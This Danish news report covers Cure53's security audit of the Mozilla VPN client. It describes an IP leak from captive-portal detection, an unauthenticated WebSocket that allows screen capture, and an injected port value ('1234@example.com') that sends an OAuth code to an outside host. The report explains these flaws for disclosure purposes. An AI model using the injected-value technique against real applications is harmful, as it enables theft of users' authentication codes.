Mozilla har annonceret afslutningen af en uafhængig revision af klientsoftware til forbindelse til Mozilla VPN-tjenesten. Revisjonen omfattede en analyse af den isolerede klientapplikation, der er skrevet ved hjælp af Qt-biblioteket og leveret til Linux, macOS, Windows, Android og iOS. Mozilla VPN-driften understøttes af mere end 400 servere fra den svenske VPN-udbyder Mullvad, placeret i mere end 30 lande. Forbindelsen til VPN-tjenesten udføres ved hjælp af WireGuard-protokollen.
Revisionen blev udført af Cure53, som tidligere har lavet revisioner af projekter som NTPsec, SecureDrop, Cryptocat, F-Droid og Dovecot. Revisjonen omfattede en kontrol af kildekoderne og omfattede test for at identificere mulige sårbarheder (spørgsmål relateret til kryptografi blev ikke behandlet). Under kontrollen blev der identificeret 16 sikkerhedsproblemer, hvoraf 8 blev vurderet som anbefalinger, 5 fik et lavt fare-niveau, to fik et mellem-niveau, og 1 fik et højt.
Kun et enkelt problem med et mellem-niveau blev klassificeret som en sårbarhed, da kun det var udnytteligt. Det nævnte problem førte til lækage af oplysninger om brugen af VPN i koden til at bestemme captive portal på grund af sending af ukrypterede direkte anmodninger over HTTP, der blev sendt uden for VPN-tunnelen og afslørede brugerens primære IP-adresse, hvis en angriber kunne kontrollere transittrafikken. Problemet løses ved at deaktivere captive portal-detektering i indstillingerne.
Det andet problem af mellem høj risiko vedrører manglende korrekt rensning af ikke-numeriske værdier i portnummeret, hvilket muliggør lækage af OAuth-autentificeringsparametre ved at ændre portnummeret til en streng som "1234@example.com", hvilket vil føre til installation af et tag <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, der henviser til example.com i stedet for 127.0.0.1.
Det tredje problem, der blev markeret som farligt, giver enhver lokal applikation mulighed for at få adgang til VPN-klienten via WebSocket, knyttet til localhost, uden autentificering. Som eksempel blev det vist, hvordan enhver webside var i stand til at skabe og sende et skud af skærmen gennem generering af begivenheden screen_capture, mens VPN-klienten var aktiv. Problemet blev ikke betragtet som en sårbarhed, da WebSocket kun blev brugt i interne test-builds, og anvendelsen af denne kommunikationskanal var kun planlagt til fremtidig interaktion med browserudvidelsen.
Kilde: opennet.ru
